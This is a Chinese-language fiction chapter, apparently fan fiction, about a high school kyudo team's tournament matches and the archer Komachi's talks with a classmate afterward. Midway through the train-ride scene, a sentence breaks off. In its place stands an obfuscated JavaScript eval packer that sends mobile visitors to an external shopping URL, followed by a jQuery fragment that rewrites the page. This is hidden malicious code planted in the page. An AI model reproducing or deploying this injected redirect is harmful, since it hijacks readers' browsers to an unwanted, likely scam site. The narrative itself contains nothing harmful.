预选结束后，决胜轮的对阵表被贴在一楼大厅。
松田挤进去看了一遍，又挤出来，头发上的发夹少了一只。
“第一场是森川。”她扶着膝盖喘气，“十五分钟后进第三控。”
“发夹呢？”野泽问。
“什么发夹？”
野泽抬手指了指她的额头。
松田摸了两下，转头望向公告板前密得几乎没有缝隙的人群，脸上的喜悦很快变成绝望。
“去年文化祭买的。”
“比赛结束再找。”宫下把刚收好的弓袋重新打开，“正选先去准备。”
“可是——”
“我帮你看着。”高濑说。
松田立刻握住她的手：“拜托了。如果找不到，至少帮我确认最后落在谁脚下。”
高濑抽回手：“我尽量只找发夹。”
午后的场馆比上午闷热。
空调没有完全压住观众席与候场区聚在一起的热气。靠近射场的长廊里全是穿着道服的学生，白色衣袖偶尔擦过，带起一点洗衣剂和弓具蜡混合的气味。
森川高中的选手已经坐在第二控。
两支队伍隔着不远的距离，各自低头检查箭羽。对方的大前似乎认识仓桥，进场前朝她笑了一下。仓桥也点头回应，等人转回去才压低声音说：
“去年新人赛输给过她们。”
野泽把视线从对面收回来。
“你怎么不早说？”
“早说会改变立顺吗？”
“不会。”
“那就现在说。”
“可我需要一点时间产生复仇心。”
“弓道不需要复仇心。”
“那你去年输了以后为什么把对方的成绩记到现在？”
仓桥被问住，索性闭上眼睛，不再理她。
小町坐在第四位。
她将四支箭依次检查完，箭尾朝同一方向摆好。隔壁队伍也安静下来，只有候场区外的广播还在通报上午预选成绩。
森川高中以十四中晋级，比冰帝少一中。
这不能说明下一轮结果。
每一轮的二十支箭都会重新计算，上午的十五中不会被带进现在的记分板。小町很清楚这一点，脑中却还是自动排出了双方五名选手的预选成绩。
森川的大前四中。
第二位三中。
剩下三人分别是——
一只手伸到她面前。
宫下掌心里放着松田早晨分发的御守。
“刚才从你弓袋里掉出来了。”
小町接过来。
“比赛时不能带进去。”
“我知道。”
她向候场区四周看了一圈。书包被留在更衣柜里，弓袋也要暂时交给替补保管。
宫下将自己的号码布向上拉了一点。
“放我这边吧。”
“道服没有口袋。”
“护胸里面可以暂时夹住。松田刚才就是这么要求我的。”
小町这才发现，宫下胸前露出一小截浅粉色的绳结。与黑白分明的弓道服放在一起，显得格外突兀。
“不会掉吗？”
“已经掉过两次了。”
小町笑了一下。
进场广播在这时响起。宫下接过御守，和自己的那只叠在一起，重新夹好。
“走吧。”
两支队伍同时进入射场。
森川在一号射场，冰帝在二号。十只靶依次排开，两边的记录员同时举起示意旗。
第一轮，冰帝三中。
森川也是三中。
第二轮结束，比分六比六。
第三轮，仓桥和高濑命中，野泽失。小町的箭落在靶面左下方，宫下最后一箭擦过靶边。
八比九。
从射位退下来时，小町能听见看台上的议论。她没有抬头，仍然知道电子屏已经更新比分，冰帝的名字被放在落后一栏。
只剩最后五支箭。
仓桥站起。
她拉弓的速度比上午稍快，离弦却很稳。箭落中以后，冰帝的部员席传来一声没来得及压住的“好”。
野泽的箭也中。
高濑站起来时，森川已经连续射中两箭。看台上的声音一阵高过一阵，两个射场的节奏开始错开。
高濑没有等待安静。
她抬起弓，箭从掌间离开。
中。
小町起身。
十一比十一。
森川的第四位刚刚射完最后一箭，电子屏上的数字变成十二。对方的落仍然没有出手。
如果小町失，宫下与对方最后一人便会在一分差距下决定结果。
这个念头只存在了很短的一瞬。
上午第三支箭偏出以后，她已经知道继续往下计算会发生什么。数字一旦被放进弓里，原本只需要落向靶面的箭，便会突然多出许多必须承担的东西。
小町看向自己的靶。
抬弓。
开弓。
弓弦离手的声音与隔壁射场几乎重合。
两支箭先后落中。
十三比十三。
宫下站起时，场馆里反而比刚才安静。森川的落已经完成四射，冰帝还剩最后一箭。
命中便进入竞射。
失手，比赛结束。
小町跪坐在原位，视线落在前方。她看不见宫下的表情，只能看见她展开的双臂与缓慢打开的弓。
会比平时长。
宫下没有急着离弦。
看台上有人咳嗽，记录席旁传来纸张翻动的声音。她仍然保持原来的姿势，直到弓弦终于从手指间离开。
箭落中。
两队需要进行同中竞射。
退出射场以后，野泽靠着墙长长地呼出一口气。
“我刚才差点忘了呼吸。”
仓桥看她一眼：“你射箭的时候记得就行。”
“我说的是宫下学姐最后那支。”
“我也听见了。”宫下走在最后，“声音很大。”
“对不起。”
“道歉以前，先准备竞射。”
同中竞射每人一箭。
不再计算各自的四射成绩，只比较两支队伍的总中数。五个人依照原来的立顺重新进场，直到分出胜负。
松田把她们的替矢送进候场区。她脸上的发夹已经找回来了，位置却从右边换到了左边。
“掉在公告板下面。”她小声说，“没有被踩。”
“恭喜。”小町接过箭。
“现在不是恭喜这个的时候吧？”
“否则什么时候恭喜？”
松田认真想了一下，觉得很有道理。
重新进场前，北川只说了一句话。
“不要等别人的结果。”
仓桥的第一箭命中。
森川的大前也中。
轮到第二位，野泽的箭落在靶外，对面却顺利命中。冰帝席位传来一阵压低的吸气声。
零比一的差距维持到高濑。
高濑中，森川第三位失。
比分重新回到二比二。
小町站起来。
她听见野泽在身后坐下时，膝盖碰到地板的声音。很轻，仍然比平时急了一点。
如果她射失，宫下便必须命中，而且还要等待对方失手。
如果她射中——
小町将弓举过头顶。
她今天已经射过九支箭。
八个圆，一个叉。那支箭偏向右侧，原因清楚得几乎不需要复盘。
小町向左右展开。
箭落中。
她回到跪坐的位置。
森川第四位的箭擦过靶框，弹入安土。
冰帝反超一中。
宫下的最后一箭命中时，胜负已经没有再留到对面手里。森川的落同样射中，最终比分四比三。
退场行礼以后，野泽才猛地抱住高濑。
“你救了我。”
“我只是射了自己的。”
“这时候可以不用这么冷静。”
“那我要说什么？”
“说你刚才其实也很害怕。”
高濑抱着弓，被她晃得站不稳。
“我比较害怕你把我的弦扯断。”
仓桥终于笑出声。
第一轮结束以后，她们只有不到半小时的休息时间。
下一场对手是明成女子高中。对方在预选中射出十六中，是上午成绩最高的队伍之一。
松田没有再提御守。她抱着五个人的箭筒坐在看台出口，看到有人经过就立刻把腿收起来，等人走远又重新伸直。仓桥吃掉早晨剩下的第四个饭团，野泽则靠在墙边闭目休息。
小町拧开水瓶。
她刚喝了一口，手机便在书包里振动。
藤崎已经从校刊编辑部的即时页面看见结果。
【进入下一轮了！】
紧接着是一连串庆祝用的企鹅贴图。
小町低头笑了一会儿，回复她们比赛还没有结束。消息刚刚发出去，向日便在群里问，竞射是不是与抢七差不多。
宫下从旁边看了一眼。
“你的朋友在讨论比赛？”
“他们想用网球解释弓道。”
“解释成功了吗？”
“还没有。”
忍足的消息混在群聊中间。
【不要为难不同项目的规则。总之千岛赢了。】
向日立即反驳。
【明明是团体赢了。】
小町的手指停在屏幕上。
她还没来得及回复，广播已经叫到冰帝的名字。
手机重新被放回柜子。
这一次，小町跟着队伍进入第三控，经过电子屏时只扫了一眼对阵名单。
冰帝对明成。
她们仍然是二号射场。
比赛开始以后，双方的差距始终没有拉开。
第一轮，四比四。
第二轮，冰帝三中，明成四中。
第三轮结束时，比分变成十比十一。
明成的节奏很稳定。即使有人失手，后面的选手也没有明显改变动作。她们既没有在命中后欢呼，也很少朝电子屏看，仿佛身边那支队伍不存在。
最后一轮，仓桥中。
野泽的箭偏出靶面。
高濑中。
十二比十三。
明成前三人已经完成比赛，全部命中。她们最终还剩两支箭，至少领先一中。
小町站起。
她今天的第十四支箭。
从预选到现在，她只有一支脱靶。无论是重新回到赛场后的第一场正式比赛，还是临时改变的射场与节奏，这个成绩都足够好。
可她并没有因此轻松。
只要这一箭落空，前面所有稳定的命中都会被重新摆上秤盘。
小町走到射位。
她的脚尖落在标记线上，鞋底隔着地板传来一层微凉的触感。弓身贴进左掌，弽带勒住右手拇指。她抬起手臂，肩胛骨缓慢打开，视线越过箭簇，落向二十八米外的靶面。
黑色的圆心在风里安静地等着。
这一刻，她忽然想起了那场比赛。
第一支箭离靶心偏了半寸，观众席传出一声很轻的吸气。
第二支箭擦着靶边落下，记录员低头写字，笔尖划过纸面的声音清楚得令人难堪。
第三支箭迟迟没有射出。她听见身后有人喊自己的名字，听见队友压低声音交换位置。弓弦在指间发颤，最后松开时，箭飞向了完全错误的方向。
那之后的很长一段时间，她都记得那三声落空。
它们随着弓道场的风、转学搬家的车、储藏室里没有打开的弓箱，一起涌回此刻。旧校的射场，雨天的车窗，成绩表上被红笔圈出的名字，还有那些望向她的眼睛——所有画面都在同一瞬间掠过，快得像一场没有剪辑的录像。
小町看见了。
她让它们继续往前。
记忆从视线两侧掠过去，撞上肩膀，擦过手腕，最后被弓身挡在身后。它们仍然存在，却没有再占据靶心的位置。
他们在看。
记录席在等。
观众席的目光从四面八方落过来。
那又怎么样？
她练习了这么久，练习在无数次重复里把身体交给弓，原本就是为了让这一箭在比赛里被看见。
这一次，她不需要先把所有人的目光赶走。
她只要完成自己的动作。
小町继续开弓。
弓臂在视野中展开，弦被拉到尽头。左手没有停顿，右肩也没有向后缩。她等到箭尖经过那个熟悉的位置，等到呼吸落进腹部，等到身体里最后一点迟疑也被拉成一条笔直的线。
然后松手。
弦音清亮地响起。
那支箭穿过风。
穿过旧校射场上重叠的三次失误，穿过看台上曾经令她无法呼吸的目光，穿过她反复追问过的“为什么偏了”，径直飞向二十八米外的靶面。
箭簇撞上黑色圆心。
一声闷响。
箭尾剧烈颤动几下，停在靶心偏左的位置。
中。
小町退回自己的位置。
十三比十三。
明成的第四位也中。
十三比十四。
宫下起身。
只要她命中，冰帝仍然有机会等待对方最后一箭失手，再次进入竞射。
小町望着她的背影。
开弓时，宫下的右肩比刚才低了一点。
这个变化很小。坐在看台上的人未必看得见，小町却在每天的团体训练里见过许多次。
她的脑中闪过一个念头。
如果站在最后的是自己——
宫下离弦。
箭落在靶外。
冰帝停在十三中。
明成最后一名选手完成射箭。她的箭同样没有命中，最终比分仍然是十三比十四。
比赛结束。
双方退场行礼。
走进选手通道以后，谁都没有立刻开口。
野泽低头看着自己的箭。她在最后一轮脱靶，如果那支箭命中，比分便会进入同中竞射。
宫下站在最前面，手里拿着需要交回记录处的确认单。她走了几步，忽然停下来。
“抱歉。”
她没有回头。
这句话落在过道里，听起来比平时更轻。
“学姐。”野泽先抬起头，“我也失了一支。”
“我知道。”
“那就不能只让你道歉。”
仓桥走过来，从宫下手里抽走确认单。
“预选以后射了两轮，谁没有失过？”
小町没有说话。
她在这一轮四射皆中。
记录表上的四个圆排列得很整齐。比赛时，她没有再去分辨看台上的人正在议论谁，也没有因为前一位失手便急着替队伍追回什么。至少站在射位上的那几分钟，她确实只看着自己的靶。
可比赛结束以后，那些被她暂时挡在外面的念头还是回来了。
如果站在最后的是自己呢？
这个念头出现得很快，甚至快过了她的自觉。等小町意识到时，她已经在心里重新排过一次立顺，算完了几个根本不会发生的结果。
她知道这种比较没有意义。
立顺不会让同一支箭自动改变落点。第一场最后一箭，是宫下把她们送进竞射；竞射时，她也稳稳射中了自己负责的那一支。没有哪一步可以被轻易抹掉，再换成另一个人。
可小町还是想站在那里。
不是觉得宫下不够好。
只是她依然想成为那个最后拿起弓、让所有人等待结果的人。
宫下终于转过身，看见她仍站在记录席旁。
“还在看成绩？”
小町回过神：“嗯。”
“千岛今天射得很好。”
宫下把成绩确认单重新拿回来，在最下面签上名字。
小町低头看了眼那张记录表。
“学姐也射中了。”
“竞射那一箭没有。”
“但第一场最后一箭，是学姐把我们送进竞射的。”小町顿了顿，“我刚才只顾着看最后那个叉，差点把前面的忘了。”
宫下看着她，像是有些意外。
远处传来松田叫人的声音。野泽正在催她们过去拍合照，仓桥已经把弓袋挪到一旁，高濑蹲在地上重新系松开的鞋带。大家脸上多少还留着比赛失利后的疲惫，却没有谁真的停在原地。
小町握住记录表的一角。
“不过，我还是想过。”她说，“如果最后站在那里的是我，会不会不一样。”
这句话说出口，比藏在心里时显得更不讲道理。
宫下却没有立刻反驳。
“换成我坐在后面，看见别人四射皆中，大概也会想。”
“学姐也会？”
“当然。”宫下重新拿起笔，在成绩确认单最下方签上名字，“又不是穿上弓道服，人就会突然变得毫无波澜。”
小町看着她落笔。
“那怎么办？”
“先回去。”宫下把记录表递给她，朝正在等她们的队友偏了偏头，“这件事不用今天想完。”
松田已经等得不耐烦，双手拢在嘴边又喊了一遍。野泽嫌她声音太小，跟着一起叫起来，结果被仓桥一人敲了一下脑袋。
小町抱好记录表，终于笑了一下。
“来了。”
她和宫下一起朝她们走过去。
松田从包里拿出五瓶饮料。
“自动贩卖机里只剩这些。”她说，“柠檬、葡萄、无糖茶和两个运动饮料。你们自己选。”
野泽拿走葡萄味。
仓桥选了无糖茶。
高濑站在两瓶一模一样的运动饮料前，认真比较保质期。
“有什么区别？”松田问。
“这一瓶晚三天。”
“今天都会喝完吧？”
“那就没有区别。”
宫下拿了柠檬味。
剩下最后一瓶运动饮料，小町没有选择的余地。她拧开瓶盖喝了一口，味道比想象中甜。
北川让她们先去换衣服。
比赛复盘安排在星期一，今天不再讨论动作。其他部员开始收拾弓具，松田重新展开那面卷好的小旗，绕到每个人面前让她们在背面签名。
“为什么输了也要签？”野泽问。
“旗已经买了。”
“可以留到下次。”
“下次要用新的。”
“你到底准备了多少面旗？”
松田没有回答。
回程的电车比早晨安静许多。
傍晚的站台上全是刚刚结束社团活动的学生。棒球部的球袋、剑道部的竹刀与冰帝过长的弓袋挤在一起，几乎占满候车区的一侧。
列车驶来时，夕阳正从高架桥另一端落下。
五个人依次上车，将弓竖在车门附近。她们已经换回学校运动服，头发仍保留着比赛时束起的样子，白色足袋则被整齐收进各自的布袋里。只有袖口和发梢沾着一点场馆里留下的汗意。
仓桥坐下不久便睡着了。她抱着箭筒，额头抵在弓袋上，列车每次减速都会轻轻撞一下。
野泽与高濑站在她旁边。
“要叫醒她吗？”野泽问。
“下一站不是。”
“我是说，她这样醒来会很痛。”
“现在叫醒也会很痛。”
“为什么？”
“她会发现我们输了。”
野泽安静下来。
过了一会儿，她将自己的毛巾叠好，垫在仓桥额头与弓袋之间。
宫下坐在车厢最里面。
她大概真的很累，手臂抱在胸前，眉心却没有完全松开。两个浅粉色御守仍被握在手中，绳结从指缝间露出来。
小町站在她面前，一只手扶着吊环，另一只手握住两人的弓袋。
电车经过河桥。
夕阳将水面照得发亮，车窗里映出一排背弓的少女。她们有人睡着，有人低头回复社团群里的消息。比赛时整齐的道服已经被收进行李袋，弓与箭却还跟在身边，随着列车轻轻晃动。
隔壁车厢有小孩子趴在门边，好奇地看了很久。
“妈妈，那是什么？”
他的母亲顺着视线望过来。
“是弓。”
“她们是弓箭手吗？”
小町听见以后，忍不住转过脸。
小孩子仍然看着她们，眼睛亮得像是刚刚在电车上遇见了某种只会出现在故事里的人。
野泽也听见了，悄悄挺直背。
“突然觉得很帅。”她压低声音。
高濑看了她一眼。
“刚才下楼梯时，你的箭筒卡在扶手上了。”
“不要在这种时候提。”
小町笑起来。
列车驶离河桥，夕阳被沿途的建筑挡住。弓袋与少女们的影子仍然留在车窗上，时而清晰，时而被外面飞快掠过的灯光照
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842510|211672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
亮。
小町扶着长弓，掌心贴在自己每天握住的位置。
今天已经结束。
可弓还在她身边。
大家在校门外分开。小町回到家以后，把弓放进储藏室，洗完澡才重新打开手机。
群聊里的消息已经超过一百条。
藤崎不知道从哪里找到了比赛直播页面，截了许多模糊的画面。小町站在射位上的那张尤其不清楚，弓身被画面压成一条弯曲的黑线，脸也只剩下侧面轮廓。
向日坚持那一箭应该命中，因为她离场时表情看起来很平静。
水野问他什么时候学会通过表情判断弓道成绩。
向日回答：
【忍足也会。】
后面隔了几分钟，忍足才出现。
【我只会判断训练结束后的。】
藤崎立刻追问区别。
忍足没有回答。
小町向上翻了很久，终于在一连串讨论中找到他们发来的第一张应援照片。她将照片保存下来，又顺手把松田下午传进弓道部群里的合照也存进相册。
那张照片拍得很乱。
仓桥嘴里还有饭团，野泽笑得弯着腰，宫下胸前的参赛证是反的，高濑的鞋踩住了她的弓袋。北川站在最边上，手里捏着粉色御守，脸上仍然没有笑。
小町自己也没来得及整理表情。
快门按下时，她正侧过脸看松田，唇角还留着一点笑意。
第二天到学校，藤崎一看见她便从座位上站起来。
“八强！”
她喊得过于响亮，附近几排学生都回过头。
小町刚走进教室，书包还挂在肩上。
“没有八强。”她说，“第一轮之前还有预选，最后只进了前八。”
“那不是一样吗？”
“不一样。”
水野从后面按住藤崎的肩膀，让她先坐下。佐仓递来一只装着小饼干的纸盒，盒盖上画着五支歪歪扭扭的箭。
“庆祝进入前八。”她说。
“是慰问。”藤崎纠正，“如果说庆祝，她又会解释没有拿到名次。”
小町接过纸盒。
“我听见了。”
“就是让你听见。”
向日从另一边凑过来。
“竞射真的很像抢七。”
“哪里像？”
“都不能失误。”
“所有比赛都不能失误吧？”
“网球前面还可以丢分，抢七不行。”
“你上次抢七不是也丢了两分？”
“最后赢了。”
“那还是可以失误。”
向日张了张嘴，开始怀疑自己的解释究竟出了什么问题。
忍足坐在旁边翻书，没有参与。他面前还是放着小町借给他的推理小说，书页间夹着一张便利店收据，大概被临时用作书签。
等早自习预备铃响起，其他人才各自回到座位。
小町把饼干放进抽屉。
忍足将推理小说推过来。
“看完了。”
“凶手猜到了吗？”
“没有。”
“第三章已经很明显了。”
“千岛同学对明显的标准比较严格。”
小町拿起书，发现那张收据仍夹在里面。
“书签。”
“忘了拿。”
她将收据抽出来，递还给他。
忍足接过纸条，折了两下，放进自己的笔袋。
“昨天最后一轮，四射皆中？”他问。
小町看向他：“你从哪里知道的？”
“藤崎找到的比赛记录。”
“真帆到底为什么比我还清楚？”
“她说这是校刊编辑需要具备的调查能力。”
“我们弓道部没有答应接受采访。”
“所以她暂时只在班里宣传。”
小町低头翻开小说。
借出去以前平整的书角被压出一道很浅的折痕。忍足大概也发现了，伸手替她把那一页抚平。
“你自己射得很好。”他说。
“嗯。”
“但是看起来不太高兴。”
他的语气并不像在追问，更像是确认一件已经观察了片刻的事。
“射中最后一支的时候，我很高兴。”她说，“至少当时是。”
箭落上靶面，记分席举起圆牌。那一刻，她确实听见了自己的呼吸，也清楚地知道那一支箭属于她。
只是从射位退下来以后，她首先看见的是总分。
十三比十四。
“后来看到成绩，就有点高兴不起来了。”
忍足低头看着她合起的书。
“因为团体赛输了？”
“也不全是。”小町想了一会儿，“大家都在说我四射皆中，可如果只把我的四支箭拿出来，好像那场比赛就变成了另一回事。”
“但它们本来也是比赛的一部分。”
“所以我没有说它们不算。”
“只是暂时不想单独拿出来庆祝？”
小町抬眼看他。
这句话比她自己刚才说得更加准确。
“差不多。”
忍足点了点头，没有急着劝她想开。
窗外有人从走廊跑过去，脚步声一直响到楼梯口。小町重新把书翻开，却没有立刻找到刚才读到的位置。
过了一会儿，忍足才说：“那我刚才好像问错了。”
“哪里错了？”
“我以为你不肯承认自己射得好。”
“我还没有严格到否认靶纸。”
“那就好。”他靠回椅背，“不然我还要想办法证明那四个圆确实存在。”
“成绩表上写得很清楚，不需要你证明。”
“嗯，所以省事了。”
小町看了他一眼。
忍足已经低下头，像是准备继续看自己的书。只是过了半天，那一页也没有翻过去。
小町用指尖碰了碰书页。
“其实最后一支射得最好。”
忍足重新抬起眼。
“哪一点最好？”
“离靶心最近。”
她说完，自己也觉得这种补充来得有些迟。但忍足只是笑了一下，没有表现得像是终于说服了她。
“如果每个人都能把自己的四支箭射好，结果就会不一样。”他说，“至少你已经完成了自己的部分。”
这句话没有恶意，甚至足够合理。
小町却想起宫下最后一支脱靶时，自己脑中出现的那个念头。
“团体赛不是把五个人分开以后，再把成绩加起来那么简单。”
忍足看着她。
“虽然最后确实会加起来。”小町又补了一句。
“那我刚才说得有点简单。”
他承认得很快，没有继续解释。
高桥老师从前门走进来，教室里的声音渐渐低下。忍足翻开课本，小町也将推理小说收进抽屉。
早自习进行到一半，窗外忽然落起雨。
雨不大，只在玻璃上留下细密的水痕。小町抄完黑板上的单词，手伸进书包，摸到昨天的比赛记录。
十三比十四。
她没有取出来。
放学后，小町要去弓具店换一根备用弦。
走到车站附近时，忍足从后面跟了上来。他背着网球包，手里还拿着早上那张折成几层的收据。
“今天没有训练？”小町问。
“场地积水，改成室内体能。提前结束了。”
“向日君呢？”
“被宍户留下加练。”
“你不用？”
“我动作标准。”
小町看了他一眼。
忍足笑起来。
“好吧，我完成得比较快。”
两人在路口等红灯。
小町去弓具店，忍足要到前面书店取预订的小说，正好有两站同路。电车进站以后，他们并排站在车门旁，谁也没有特意继续早上的话题。
忍足拿出一本新书。
封面上的男女主角在雪地里背对彼此，书名占了整整两行。
“又是恋爱小说？”小町问。
“推理。”
“看起来不像。”
“女主角在婚礼前失踪。”
“被杀了？”
“只是逃婚。”
“那还是恋爱小说。”
“千岛对类型的判断太武断了。”
电车开出站台。
忍足翻了两页，又把书合上。小町原本以为他要继续替小说辩护，他却看着玻璃上掠过的倒影，隔了片刻才说：
“昨天输了，今天还是要去弓具店？”
“备用弦磨损了。”
“换完呢？”
“回学校训练。”
“周一不是休息日？”
“宫下学姐她们也会去。北川老师说复盘之前可以自主练习。”
忍足点点头。
“原来输了以后，第二天还是会训练。”
小町听出这句话有些熟悉，转过脸看他。
“只是觉得我们在这一点上很像。”
“哪里像？”
“都不会因为结果不好，就突然不去了。”
他说得很平常。
小町本来想反驳。她曾经确实因为一场比赛，把弓留在纸箱里很久；直到转入冰帝，才重新站回二十八米外。
可那并不代表她以后还会这样。
“当然要去。”她说，“昨天的箭已经射完了。”
“嗯。”
忍足重新翻开书。
下一站到达时，小町走下电车。忍足要继续坐到书店附近，两个人隔着即将关闭的车门道别。
“训练别太晚。”他说。
“你也是。”
车门合上。
列车向前驶去，忍足低头继续看那本怎么看都不像推理小说的书。
小町在站台上停了一会儿，才转身走向出站口。
手机在包里振动。
弓道部群聊里，松田重新发了一遍昨天的合照。
【我把闭眼的地方修好了。】
小町点开照片。
松田的眼睛被修得又圆又亮，与整张脸完全不在同一个方向。仓桥回复了一串问号，野泽正在追问她究竟用了什么软件。
宫下没有评价照片，只发了一句：
【十分钟后道场集合。】
小町保存了那张修坏的合照，加快脚步走向弓具店。